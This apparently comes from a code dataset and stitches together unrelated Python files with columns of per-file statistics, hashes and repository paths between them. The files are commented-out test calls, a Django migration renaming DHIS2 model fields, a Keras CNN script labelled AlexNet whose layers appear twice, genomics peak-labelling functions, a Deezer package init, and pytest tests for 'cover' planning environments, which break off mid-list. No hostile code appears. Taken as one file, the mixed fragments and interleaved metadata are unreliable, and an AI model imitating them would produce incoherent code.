# test_same('SplitClusterBotSame',nssm=3)
# test_same('SplitClusterMidMultiChild',nssm=3)
# test_same('SplitClusterMidOneChild',nssm=3)
# # get_ad_nvar('SmallExtraNewBot',size_clusters=[2,2,2,2,2,2])
# # print("MergeClusterTop&Mid")
# print("Truth")
# truth = get_ad_nvar('Truth',size_clusters=[2,2,4,2,2,4],lab=False)
# #test = get_ad_nvar('SmallExtraTop',size_clusters=[4,3,2,2,3,2], extra_prop = float(6.0/12.0))
# test = get_ad_nvar('MergeClusterMid&BotMultiChild',size_clusters=[2,4,2,2,2,4], extra_prop = float(2.0/12.0))
# print("test")
# print(test)
# print("truth")
# print(truth)
# # # #get_ad_nvar('SplitClusterMidMultiChild',size_clusters=[4,4,4,4,4,4])
# orig = get_ad('SmallExtraNewBot', size_clusters=2)
# print("orig")
# print(orig)
# orig = get_ad('SmallExtraCurBot', size_clusters=2)
# print("orig")
# print(orig)
# get_ccm_nvar('SplitClusterMidOneChild',size_clusters=[3,4,4],n_clusters=3)
| 63.956522
| 328
| 0.631009
| 3,318
| 20,594
| 3.735986
| 0.04792
| 0.402711
| 0.23072
| 0.234511
| 0.805824
| 0.781542
| 0.751613
| 0.708293
| 0.666183
| 0.648677
| 0
| 0.046909
| 0.201903
| 20,594
| 322
| 329
| 63.956522
| 0.707289
| 0.348985
| 0
| 0.473118
| 0
| 0
| 0.037253
| 0.013672
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.010753
| 0.016129
| null | null | 0.05914
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
7685c0701ed41863cdc06b4a5347438276d6ffa5
| 5,391
|
py
|
Python
|
hexa/plugins/connector_dhis2/migrations/0014_metadata_rf_2.py
|
qgerome/openhexa-app
|
8c9377b2ad972121d8e9575f5d52420212b52ed4
|
[
"MIT"
] | 4
|
2021-07-19T12:53:21.000Z
|
2022-01-26T17:45:02.000Z
|
hexa/plugins/connector_dhis2/migrations/0014_metadata_rf_2.py
|
qgerome/openhexa-app
|
8c9377b2ad972121d8e9575f5d52420212b52ed4
|
[
"MIT"
] | 20
|
2021-05-17T12:27:06.000Z
|
2022-03-30T11:35:26.000Z
|
hexa/plugins/connector_dhis2/migrations/0014_metadata_rf_2.py
|
hastakecorp/openhexa-app
|
dde38f14701c3bfe7fb51f29d73b35e6b8d45b7b
|
[
"MIT"
] | 2
|
2021-09-07T04:19:59.000Z
|
2022-02-08T15:33:29.000Z
|
# Generated by Django 3.2.6 on 2021-08-23 09:50
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
("connector_dhis2", "0013_metadata_rf_1"),
]
operations = [
migrations.AlterModelOptions(
name="dataelement",
options={"ordering": ("name",), "verbose_name": "DHIS2 Data Element"},
),
migrations.AlterModelOptions(
name="indicator",
options={"ordering": ("name",), "verbose_name": "DHIS2 Indicator"},
),
migrations.AlterModelOptions(
name="indicatortype",
options={"ordering": ("name",), "verbose_name": "DHIS2 Indicator type"},
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_aggregation_type",
new_name="aggregation_type",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_code",
new_name="code",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_created",
new_name="created",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_description",
new_name="description",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_domain_type",
new_name="domain_type",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_external_access",
new_name="external_access",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_favorite",
new_name="favorite",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_last_updated",
new_name="last_updated",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_name",
new_name="name",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_short_name",
new_name="short_name",
),
migrations.RenameField(
model_name="dataelement",
old_name="dhis2_value_type",
new_name="value_type",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_annualized",
new_name="annualized",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_code",
new_name="code",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_created",
new_name="created",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_description",
new_name="description",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_external_access",
new_name="external_access",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_favorite",
new_name="favorite",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_indicator_type",
new_name="indicator_type",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_last_updated",
new_name="last_updated",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_name",
new_name="name",
),
migrations.RenameField(
model_name="indicator",
old_name="dhis2_short_name",
new_name="short_name",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_created",
new_name="created",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_description",
new_name="description",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_external_access",
new_name="external_access",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_factor",
new_name="factor",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_favorite",
new_name="favorite",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_last_updated",
new_name="last_updated",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_name",
new_name="name",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_number",
new_name="number",
),
migrations.RenameField(
model_name="indicatortype",
old_name="dhis2_short_name",
new_name="short_name",
),
]
| 30.630682
| 84
| 0.537748
| 450
| 5,391
| 6.102222
| 0.124444
| 0.108157
| 0.28405
| 0.327749
| 0.837946
| 0.837946
| 0.821923
| 0.789876
| 0.660597
| 0.531682
| 0
| 0.015508
| 0.354109
| 5,391
| 175
| 85
| 30.805714
| 0.773119
| 0.008347
| 0
| 0.840237
| 1
| 0
| 0.23634
| 0.015906
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.005917
| 0
| 0.023669
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
768b825342f0b19396136d060341b0169c899317
| 2,930
|
py
|
Python
|
sharedfolder/alexnet-mini-model.py
|
achoy/vision-talk
|
010f47c0ebafed86fc2c80aa346dd1d053ff50d0
|
[
"BSD-2-Clause"
] | 2
|
2019-04-13T15:31:29.000Z
|
2019-04-13T15:32:55.000Z
|
sharedfolder/alexnet-mini-model.py
|
achoy/vision-talk
|
010f47c0ebafed86fc2c80aa346dd1d053ff50d0
|
[
"BSD-2-Clause"
] | null | null | null |
sharedfolder/alexnet-mini-model.py
|
achoy/vision-talk
|
010f47c0ebafed86fc2c80aa346dd1d053ff50d0
|
[
"BSD-2-Clause"
] | null | null | null |
from tensorflow.keras.models import Sequential
#from tensorflow.keras import backend
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Dropout
model = Sequential()
# a - first CONV + POOL layers
# note that we need to define the input_shape in the first CONV layer only
model . add(Conv2D(filters =16 , kernel_size =2 , padding = 'same' , activation = 'relu' , input_shape = ( 32 , 32 , 3 )))
model . add(MaxPooling2D(pool_size =2 ))
# b - second CONV + POOL layers with RELU activation function
model . add(Conv2D(filters =32 , kernel_size =2 , padding = 'same' , activation = 'relu' ))
model . add(MaxPooling2D(pool_size =2 ))
# c - third CONV + POOL layers
model . add(Conv2D(filters =64 , kernel_size =2 , padding = 'same' , activation = 'relu' ))
model . add(MaxPooling2D(pool_size =2 ))
# d - dropout layer to avoid overfitting with 30% rate
model . add(Dropout( 0.3 ))
# e - flatten the last feature map into a vector of features
model . add(Flatten())
# f - add the first FC layer
model . add(Dense( 500 , activation = 'relu' ))
# g - another dropout layer 40% rate
model . add(Dropout( 0.4 ))
# h - Output layer is a FC layer with 10 nodes and softmax activation to give probabilities to the 10 classes we have
model . add(Dense( 10 , activation = 'softmax' ))
# i - print a summary of the model architecture
model . summary()
# compile the model
model . compile(loss = 'sparse_categorical_crossentropy' , optimizer = 'rmsprop' , metrics = [ 'accuracy' ])
def alexnet(model):
# a - first CONV + POOL layers
# note that we need to define the input_shape in the first CONV layer only
model . add(Conv2D(filters =16 , kernel_size =2 , padding = 'same' , activation = 'relu' , input_shape = ( 32 , 32 , 3 )))
model . add(MaxPooling2D(pool_size =2 ))
# b - second CONV + POOL layers with RELU activation function
model . add(Conv2D(filters =32 , kernel_size =2 , padding = 'same' , activation = 'relu' ))
model . add(MaxPooling2D(pool_size =2 ))
# c - third CONV + POOL layers
model . add(Conv2D(filters =64 , kernel_size =2 , padding = 'same' , activation = 'relu' ))
model . add(MaxPooling2D(pool_size =2 ))
# d - dropout layer to avoid overfitting with 30% rate
model . add(Dropout( 0.3 ))
# e - flatten the last feature map into a vector of features
model . add(Flatten())
# f - add the first FC layer
model . add(Dense( 500 , activation = 'relu' ))
# g - another dropout layer 40% rate
model . add(Dropout( 0.4 ))
# h - Output layer is a FC layer with 10 nodes and softmax activation to give probabilities to the 10 classes we have
model . add(Dense( 10 , activation = 'softmax' ))
# i - print a summary of the model architecture
model . summary()
return model
def compile_model(model):
model . compile(loss = 'sparse_categorical_crossentropy' , optimizer = 'rmsprop' , metrics = [ 'accuracy' ])
| 48.833333
| 126
| 0.683959
| 419
| 2,930
| 4.732697
| 0.231504
| 0.088754
| 0.04236
| 0.06354
| 0.895613
| 0.895613
| 0.895613
| 0.895613
| 0.895613
| 0.895613
| 0
| 0.035284
| 0.206826
| 2,930
| 59
| 127
| 49.661017
| 0.817986
| 0.378157
| 0
| 0.8125
| 0
| 0
| 0.09005
| 0.034464
| 0
| 0
| 0
| 0
| 0
| 1
| 0.0625
| false
| 0
| 0.0625
| 0
| 0.15625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4f16afb8064f6d1e930782f3ba094d9802b6fe0a
| 10,525
|
py
|
Python
|
seqdataloader/labelgen/classification_label_protocols.py
|
avyayv/seqdataloader
|
f0da8c84377fbd3568d0f1366b3d41358a013026
|
[
"MIT"
] | 12
|
2018-12-18T03:14:25.000Z
|
2022-02-16T18:00:22.000Z
|
seqdataloader/labelgen/classification_label_protocols.py
|
avyayv/seqdataloader
|
f0da8c84377fbd3568d0f1366b3d41358a013026
|
[
"MIT"
] | 8
|
2019-01-25T01:42:32.000Z
|
2020-02-17T20:50:45.000Z
|
seqdataloader/labelgen/classification_label_protocols.py
|
avyayv/seqdataloader
|
f0da8c84377fbd3568d0f1366b3d41358a013026
|
[
"MIT"
] | 6
|
2018-12-14T00:22:01.000Z
|
2021-04-20T02:10:32.000Z
|
from math import floor,ceil
import pandas as pd
from multiprocessing.pool import ThreadPool
from .utils import rolling_window
import pdb
import numpy as np
from pybedtools import BedTool
def peak_summit_in_bin_classification(task_name,task_bed,task_bigwig,task_ambig,chrom,first_bin_start,final_bin_start,args):
'''
For each peak, the summit position is determined.
The minimum bin with bedtools coverage is args.binsize upstream of the summit;
The max bin with bedtools coverage is args.binsize downstream of the summit
Within this range, bin centers are shifted by args.bin_stride
If specified in args.allow_ambiguous, then coverage is also computed in adjacent bins to the two extremes are marked as
ambiguous
'''
#get the peaks for the current chromosome by intersecting the task_bed with the chromosome coordinates
task_bed=BedTool(task_bed)
if task_ambig is not None:
task_ambig=BedTool(task_ambig)
min_chrom_coord=first_bin_start
max_chrom_coord=final_bin_start
if min_chrom_coord >= max_chrom_coord:
print("the chromosome"+chrom+" is too short for the specified settings of --left_flank, --right_flank, --bin_size, skipping")
return task_name,None
chrom_coords=chrom+'\t'+str(min_chrom_coord)+'\t'+str(max_chrom_coord)
chrom_bed=BedTool(chrom_coords,from_string=True)
chrom_task_bed=task_bed.intersect(chrom_bed)
chrom_ambig_bed=None
if ((args.allow_ambiguous==True) and (task_ambig!=None)):
chrom_ambig_bed=task_ambig.intersect(chrom_bed)
print("got peak subset for chrom:"+str(chrom)+" for task:"+str(task_name))
#pre-allocate a numpy array of 0's
num_bins=(final_bin_start-first_bin_start)//args.bin_stride+1
coverage_vals=np.zeros(num_bins)
if args.save_label_source is True:
label_source_dict=dict()
else:
label_source_dict=None
for entry in chrom_task_bed:
chrom=entry[0]
peak_start=int(entry[1])
peak_end=int(entry[2])
summit=peak_start+int(entry[-1])
chromosome_min_bin_index=ceil((summit-args.bin_size-first_bin_start)/args.bin_stride)
min_bin_start=chromosome_min_bin_index*args.bin_stride
chromosome_max_bin_index=floor((summit-first_bin_start)/args.bin_stride)
max_bin_start=chromosome_max_bin_index*args.bin_stride
#get mean coverage in bigwig for each bin specified above
index_coverage_vals=chromosome_min_bin_index
for bin_start in range(min_bin_start,max_bin_start+1,args.bin_stride):
if index_coverage_vals >= 0 and index_coverage_vals <= (num_bins - 1):
coverage_vals[index_coverage_vals]=1
if args.save_label_source is True:
label_source_dict[index_coverage_vals]={}
label_source_dict[index_coverage_vals][task_name+".CHR"]=chrom
label_source_dict[index_coverage_vals][task_name+".START"]=peak_start
label_source_dict[index_coverage_vals][task_name+".END"]=peak_end
index_coverage_vals+=1
#if allow_ambiguous supplied by user, shift 1 bin left and 1 bin right
if args.allow_ambiguous==True:
chromosome_min_bin_index-=1
if chromosome_min_bin_index > 0 and chromosome_min_bin_index <= (num_bins - 1):
coverage_vals[chromosome_min_bin_index]=np.nan
if (args.save_label_source is True) and (chromosome_min_bin_index in label_source_dict):
del label_source_dict[chromosome_min_bin_index]
chromosome_max_bin_index+=1
if chromosome_max_bin_index >= 0 and chromosome_max_bin_index < (num_bins - 1):
coverage_vals[chromosome_max_bin_index]=np.nan
if (args.save_label_source is True) and (chromosome_max_bin_index in label_source_dict):
del label_source_dict[chromosome_max_bin_index]
#if a bed file of ambiguous labels is specified, label them with -1
if ((args.allow_ambiguous==True) and (chrom_ambig_bed!=None)):
for entry in chrom_ambig_bed:
chrom=entry[0]
peak_start=int(entry[1])
peak_end=int(entry[2])
summit=peak_start+int(entry[-1])
chromosome_min_bin_index=ceil((summit-args.bin_size-first_bin_start)/args.bin_stride)
min_bin_start=chromosome_min_bin_index*args.bin_stride
chromosome_max_bin_index=floor((summit-first_bin_start)/args.bin_stride)
max_bin_start=chromosome_max_bin_index*args.bin_stride
#get mean coverage in bigwig for each bin specified above
index_coverage_vals=chromosome_min_bin_index
for bin_start in range(min_bin_start,max_bin_start+1,args.bin_stride):
if index_coverage_vals >= 0 and index_coverage_vals <= (num_bins - 1):
coverage_vals[index_coverage_vals]=np.nan
if args.save_label_source is True:
if index_coverage_vals in label_source_dict:
del label_source_dict[index_coverage_vals]
index_coverage_vals+=1
print("finished chromosome:"+str(chrom)+" for task:"+str(task_name))
return task_name,coverage_vals,label_source_dict
def peak_percent_overlap_with_bin_classification(task_name,task_bed,task_bigwig,task_ambig,chrom,first_bin_start,final_bin_start,args):
'''
50% of the central 200bp region in a 1kb bin must overlap with the peak for a positive label
'''
#get the peaks for the current chromosome by intersecting the task_bed with the chromosome coordinates
task_bed=BedTool(task_bed)
if task_ambig is not None:
task_ambig=BedTool(task_ambig)
min_chrom_coord=first_bin_start
max_chrom_coord=final_bin_start
if min_chrom_coord >= max_chrom_coord:
print("the chromosome"+chrom+" is too short for the specified settings of --left_flank, --right_flank, --bin_size, skipping")
return task_name, None
chrom_coords=chrom+'\t'+str(min_chrom_coord)+'\t'+str(max_chrom_coord)
chrom_bed=BedTool(chrom_coords,from_string=True)
chrom_task_bed=task_bed.intersect(chrom_bed)
chrom_ambig_bed=None
if ((args.allow_ambiguous==True) and (task_ambig!=None)):
chrom_ambig_bed=task_ambig.intersect(chrom_bed)
print("got peak subset for chrom:"+str(chrom)+" for task:"+str(task_name))
#pre-allocate a numpy array of 0's
num_bins=(final_bin_start-first_bin_start)//args.bin_stride+1
coverage_vals=np.zeros(num_bins)
if args.save_label_source is True:
label_source_dict=dict()
else:
label_source_dict=None
for entry in chrom_task_bed:
chrom=entry[0]
peak_start=int(entry[1])
peak_end=int(entry[2])
min_overlap=int(round(args.overlap_thresh*min(args.bin_size, (peak_end-peak_start))))
#get the bin indices that overlap the peak
chromosome_min_bin_index=ceil((peak_start-(args.bin_size-min_overlap)-first_bin_start)/args.bin_stride)
min_bin_start=chromosome_min_bin_index*args.bin_stride
chromosome_max_bin_index=floor((peak_end-min_overlap-first_bin_start)/args.bin_stride)
max_bin_start=chromosome_max_bin_index*args.bin_stride
#get mean coverage in bigwig for each bin specified above
index_coverage_vals=chromosome_min_bin_index
for bin_start in range(min_bin_start,max_bin_start+1,args.bin_stride):
if index_coverage_vals >= 0 and index_coverage_vals <= (num_bins - 1):
coverage_vals[index_coverage_vals]=1
if args.save_label_source is True:
label_source_dict[index_coverage_vals]={}
label_source_dict[index_coverage_vals][task_name+".CHR"]=chrom
label_source_dict[index_coverage_vals][task_name+".START"]=peak_start
label_source_dict[index_coverage_vals][task_name+".END"]=peak_end
index_coverage_vals+=1
#if allow_ambiguous supplied by user, shift 1 bin left and 1 bin right
if args.allow_ambiguous==True:
if chromosome_min_bin_index > 0 and chromosome_min_bin_index <= (num_bins - 1):
chromosome_min_bin_index-=1
coverage_vals[chromosome_min_bin_index]=np.nan
if (args.save_label_source is True) and (chromosome_min_bin_index in label_source_dict):
del label_source_dict[chromosome_min_bin_index]
if chromosome_max_bin_index >= 0 and chromosome_max_bin_index < (num_bins - 1):
chromosome_max_bin_index+=1
coverage_vals[chromosome_max_bin_index]=np.nan
if (args.save_label_source is True) and (chromosome_max_bin_index in label_source_dict):
del label_source_dict[chromosome_max_bin_index]
if ((args.allow_ambiguous==True) and (task_ambig!=None)):
for entry in chrom_ambig_bed:
chrom=entry[0]
peak_start=int(entry[1])
peak_end=int(entry[2])
min_overlap=int(round(args.overlap_thresh*min(args.bin_size, (peak_end-peak_start))))
#get the bin indices that overlap the peak
chromosome_min_bin_index=ceil((peak_start-(args.bin_size-min_overlap)-first_bin_start)/args.bin_stride)
min_bin_start=chromosome_min_bin_index*args.bin_stride
chromosome_max_bin_index=floor((peak_end-min_overlap-first_bin_start)/args.bin_stride)
max_bin_start=chromosome_max_bin_index*args.bin_stride
#get mean coverage in bigwig for each bin specified above
index_coverage_vals=chromosome_min_bin_index
for bin_start in range(min_bin_start,max_bin_start+1,args.bin_stride):
if index_coverage_vals >= 0 and index_coverage_vals <= (num_bins - 1):
coverage_vals[index_coverage_vals]=np.nan
if (args.save_label_source is True) and (index_coverage_vals in label_source_dict):
del label_source_dict[index_coverage_vals]
index_coverage_vals+=1
print("finished chromosome:"+str(chrom)+" for task:"+str(task_name))
return task_name, coverage_vals, label_source_dict
| 52.10396
| 154
| 0.688551
| 1,514
| 10,525
| 4.422721
| 0.095773
| 0.078853
| 0.081243
| 0.075269
| 0.912186
| 0.904719
| 0.895311
| 0.884558
| 0.884558
| 0.87948
| 0
| 0.007336
| 0.235914
| 10,525
| 201
| 155
| 52.363184
| 0.825292
| 0.12076
| 0
| 0.92
| 0
| 0
| 0.041562
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.013333
| false
| 0
| 0.046667
| 0
| 0.086667
| 0.04
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4f26a5b9fa992c014f84cb974b65e076649a83c1
| 198
|
py
|
Python
|
deezer_api/__init__.py
|
ElinaValieva/deezer-music-generator
|
ce40da99be3660f2d6f7df344826f6334137fde2
|
[
"MIT"
] | 4
|
2021-08-05T15:31:38.000Z
|
2022-01-13T18:47:38.000Z
|
deezer_api/__init__.py
|
ElinaValieva/deezer-playlist-generator
|
ce40da99be3660f2d6f7df344826f6334137fde2
|
[
"MIT"
] | null | null | null |
deezer_api/__init__.py
|
ElinaValieva/deezer-playlist-generator
|
ce40da99be3660f2d6f7df344826f6334137fde2
|
[
"MIT"
] | null | null | null |
from deezer_api.deezer_api import DeezerApi, Access
from deezer_api.deezer_objects import PlayList, Album, Artist, Search, Track, User, DeezerError
from deezer_api.deezer_player import DeezerPlayer
| 49.5
| 95
| 0.853535
| 28
| 198
| 5.821429
| 0.571429
| 0.220859
| 0.239264
| 0.349693
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.09596
| 198
| 3
| 96
| 66
| 0.910615
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
4f52beaa9ccf27b0e10932a66980bbabca88f85e
| 24,195
|
py
|
Python
|
tests/envs/test_cover.py
|
williamshen-nz/predicators
|
6a6b3444108a6d2da3ec3c7d85bbe60ae3b113b9
|
[
"MIT"
] | null | null | null |
tests/envs/test_cover.py
|
williamshen-nz/predicators
|
6a6b3444108a6d2da3ec3c7d85bbe60ae3b113b9
|
[
"MIT"
] | null | null | null |
tests/envs/test_cover.py
|
williamshen-nz/predicators
|
6a6b3444108a6d2da3ec3c7d85bbe60ae3b113b9
|
[
"MIT"
] | null | null | null |
"""Test cases for the cover environment."""
import numpy as np
from gym.spaces import Box
from predicators.src.envs import CoverEnv, CoverEnvTypedOptions, \
CoverMultistepOptions, CoverMultistepOptionsFixedTasks, \
CoverEnvRegrasp
from predicators.src.structs import State, Action
from predicators.src import utils
def test_cover():
"""Tests for CoverEnv class."""
utils.reset_config({"env": "cover", "cover_initial_holding_prob": 0.0})
env = CoverEnv()
env.seed(123)
for task in env.get_train_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
assert sum(
task.init.get(obj, "grasp") != -1 for obj in task.init
if obj.type.name == "block") == 0
for task in env.get_test_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
assert sum(
task.init.get(obj, "grasp") != -1 for obj in task.init
if obj.type.name == "block") == 0
# Predicates should be {IsBlock, IsTarget, Covers, HandEmpty, Holding}.
assert len(env.predicates) == 5
# Goal predicates should be {Covers}.
assert {pred.name for pred in env.goal_predicates} == {"Covers"}
# Options should be {PickPlace}.
assert len(env.options) == 1
# Types should be {block, target, robot}
assert len(env.types) == 3
# Action space should be 1-dimensional.
assert env.action_space == Box(0, 1, (1, ))
# Run through a specific plan to test atoms.
task = env.get_test_tasks()[2]
assert len(task.goal) == 2 # harder goal
state = task.init
option = next(iter(env.options))
block0 = [b for b in state if b.name == "block0"][0]
block1 = [b for b in state if b.name == "block1"][0]
target0 = [b for b in state if b.name == "target0"][0]
target1 = [b for b in state if b.name == "target1"][0]
robot = [b for b in state if b.name == "robby"][0]
# [pick block0 center, place on target0 center,
# pick block1 center, place on target1 center]
option_sequence = [
option.ground([], [state[block0][3]]),
option.ground([], [state[target0][3]]),
option.ground([], [state[block1][3]]),
option.ground([], [state[target1][3]])
]
plan = []
state = task.init
env.render(state, task)
expected_lengths = [5, 5, 6, 6, 7]
expected_hands = [
state[block0][3], state[target0][3], state[block1][3],
state[target1][3]
]
for option in option_sequence:
atoms = utils.abstract(state, env.predicates)
assert not task.goal.issubset(atoms)
assert len(atoms) == expected_lengths.pop(0)
traj = utils.option_to_trajectory(state,
env.simulate,
option,
max_num_steps=100)
plan.extend(traj.actions)
assert len(traj.actions) == 1
assert len(traj.states) == 2
state = traj.states[1]
assert abs(state[robot][0] - expected_hands.pop(0)) < 1e-4
assert not expected_hands
atoms = utils.abstract(state, env.predicates)
assert len(atoms) == expected_lengths.pop(0)
assert not expected_lengths
assert task.goal.issubset(atoms) # goal achieved
# Test being outside of a hand region. Should be a no-op.
option = next(iter(env.options))
traj = utils.option_to_trajectory(task.init,
env.simulate,
option.ground([], [0]),
max_num_steps=100)
assert len(traj.states) == 2
assert traj.states[0].allclose(traj.states[1])
# Test cover_initial_holding_prob.
utils.update_config({"cover_initial_holding_prob": 1.0})
env = CoverEnv()
env.seed(123)
for task in env.get_train_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
assert sum(
task.init.get(obj, "grasp") != -1 for obj in task.init
if obj.type.name == "block") == 1
for task in env.get_test_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
assert sum(
task.init.get(obj, "grasp") != -1 for obj in task.init
if obj.type.name == "block") == 1
def test_cover_typed_options():
"""Tests for CoverEnvTypedOptions class."""
utils.reset_config({"env": "cover", "cover_initial_holding_prob": 0.0})
env = CoverEnvTypedOptions()
env.seed(123)
for task in env.get_train_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
for task in env.get_test_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
# Predicates should be {IsBlock, IsTarget, Covers, HandEmpty, Holding}.
assert len(env.predicates) == 5
# Options should be {Pick, Place}.
assert len(env.options) == 2
# Types should be {block, target, robot}
assert len(env.types) == 3
# Action space should be 1-dimensional.
assert env.action_space == Box(0, 1, (1, ))
# Run through a specific plan to test atoms.
task = env.get_test_tasks()[2]
assert len(task.goal) == 2 # harder goal
state = task.init
pick_option = [o for o in env.options if o.name == "Pick"][0]
place_option = [o for o in env.options if o.name == "Place"][0]
block0 = [b for b in state if b.name == "block0"][0]
block1 = [b for b in state if b.name == "block1"][0]
target0 = [b for b in state if b.name == "target0"][0]
target1 = [b for b in state if b.name == "target1"][0]
robot = [b for b in state if b.name == "robby"][0]
# [pick relative position 0, place on target0 center,
# pick relative position 0, place on target1 center]
option_sequence = [
pick_option.ground([block0], [0.0]),
place_option.ground([target0], [state[target0][3]]),
pick_option.ground([block1], [0.0]),
place_option.ground([target1], [state[target1][3]])
]
plan = []
state = task.init
env.render(state, task)
expected_lengths = [5, 5, 6, 6, 7]
expected_hands = [
state[block0][3], state[target0][3], state[block1][3],
state[target1][3]
]
for option in option_sequence:
atoms = utils.abstract(state, env.predicates)
assert not task.goal.issubset(atoms)
assert len(atoms) == expected_lengths.pop(0)
traj = utils.option_to_trajectory(state,
env.simulate,
option,
max_num_steps=100)
plan.extend(traj.actions)
assert len(traj.actions) == 1
assert len(traj.states) == 2
state = traj.states[1]
assert abs(state[robot][0] - expected_hands.pop(0)) < 1e-4
assert not expected_hands
atoms = utils.abstract(state, env.predicates)
assert len(atoms) == expected_lengths.pop(0)
assert not expected_lengths
assert task.goal.issubset(atoms) # goal achieved
# Test being outside of a hand region. Should be a no-op.
option = next(iter(env.options))
traj = utils.option_to_trajectory(task.init,
env.simulate,
place_option.ground([target0], [0]),
max_num_steps=100)
assert len(traj.states) == 2
assert traj.states[0].allclose(traj.states[1])
def test_cover_regrasp():
"""Tests for CoverEnvRegrasp class."""
utils.reset_config({"env": "cover_regrasp"})
env = CoverEnvRegrasp()
env.seed(123)
for task in env.get_train_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
for task in env.get_test_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
# Predicates should be same as CoverEnv, plus Clear.
assert len(env.predicates) == 6
# Options should be {PickPlace}.
assert len(env.options) == 1
# Types should be {block, target, robot}
assert len(env.types) == 3
# Action space should be 1-dimensional.
assert env.action_space == Box(0, 1, (1, ))
# Tests for Clear.
task = env.get_train_tasks()[0]
Clear = [p for p in env.predicates if p.name == "Clear"][0]
init_atoms = utils.abstract(task.init, {Clear})
assert len(init_atoms) == 2
# Clear should not be true after a place.
state = task.init.copy()
block0, _, _, target0, _ = sorted(state)
state.set(block0, "pose", state.get(target0, "pose"))
assert not Clear([target0]).holds(state)
def test_cover_multistep_options():
"""Tests for CoverMultistepOptions."""
utils.reset_config({
"env": "cover_multistep_options",
"num_train_tasks": 10,
"num_test_tasks": 10
})
env = CoverMultistepOptions()
env.seed(123)
for task in env.get_train_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
for task in env.get_test_tasks():
for obj in task.init:
assert len(obj.type.feature_names) == len(task.init[obj])
# Predicates should be {IsBlock, IsTarget, Covers, HandEmpty, Holding}.
assert len(env.predicates) == 5
# Options should be {Pick, Place, LearnedEquivalentPick,
# LearnedEquivalentPlace}.
assert len(env.options) == 4
# Types should be {block, target, robot}
assert len(env.types) == 3
# Action space should be 3-dimensional.
assert len(env.action_space.low) == 3
# Run through a specific plan of low-level actions.
task = env.get_test_tasks()[0]
action_arrs = [
# Move to above block0
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
